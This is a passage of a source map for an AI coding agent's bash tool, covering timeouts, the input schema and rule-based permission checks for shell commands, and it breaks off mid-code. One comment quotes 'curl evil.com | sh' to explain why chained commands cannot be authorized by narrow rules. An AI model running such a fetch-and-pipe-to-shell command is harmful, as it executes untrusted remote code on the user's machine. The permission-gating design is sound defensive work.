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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { constants as osConstants } from \"node:os\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { BASH_UPDATE_THROTTLE_MS, createShellRenderers } from \"./renderers/bash.ts\";\nimport { parseShellOperation } from \"./shell-operation.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\n/**\n * Applied when a call names no `timeout`. One hour, which is 2.16x the slowest full suite run\n * recorded for this repository on the host ADR 0035 names. A default that merely cleared the\n * measurement would kill a real build on a slower machine, and a killed build presents as a\n * failing build rather than as a timeout, which is the expensive mistake.\n */\nexport const DEFAULT_BASH_TIMEOUT_SECONDS = 3600;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number {\n\tif (timeout === undefined) return DEFAULT_BASH_TIMEOUT_SECONDS * 1000;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(\n\t\tType.Number({\n\t\t\tdescription: `Timeout in seconds (default ${DEFAULT_BASH_TIMEOUT_SECONDS}; use background for longer work)`,\n\t\t}),\n\t),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Boolean({\n\t\tdescription: \"Set to true only with a background handle to terminate its command; otherwise omit or use false.\",\n\t}),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t\tkill: Type.Optional(Type.Literal(false)),\n\t\t}),\n\t\tType.Object({ handle: Type.String(), kill: Type.Optional(Type.Literal(false)) }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return undefined;\n\t\t\treturn parsed.operation.kind === \"run\" ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t// An unparseable call is never authorized by an allow rule; `isUnknown`\n\t\t\t// keeps it out of them and pulls every deny rule onto it.\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return true;\n\t\t\treturn parsed.operation.kind === \"run\" && classifyBashCommand(parsed.operation.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return { kind: \"summary\", lines: [parsed.reason] };\n\t\t\tif (parsed.operation.kind === \"kill\") {\n\t\t\t\treturn { kind: \"summary\", lines: [`Kill background shell command ${parsed.operation.handle}`] };\n\t\t\t}\n\t\t\tif (parsed.operation.kind === \"retrieve\") {\n\t\t\t\treturn {\n\t\t\t\t\tkind: 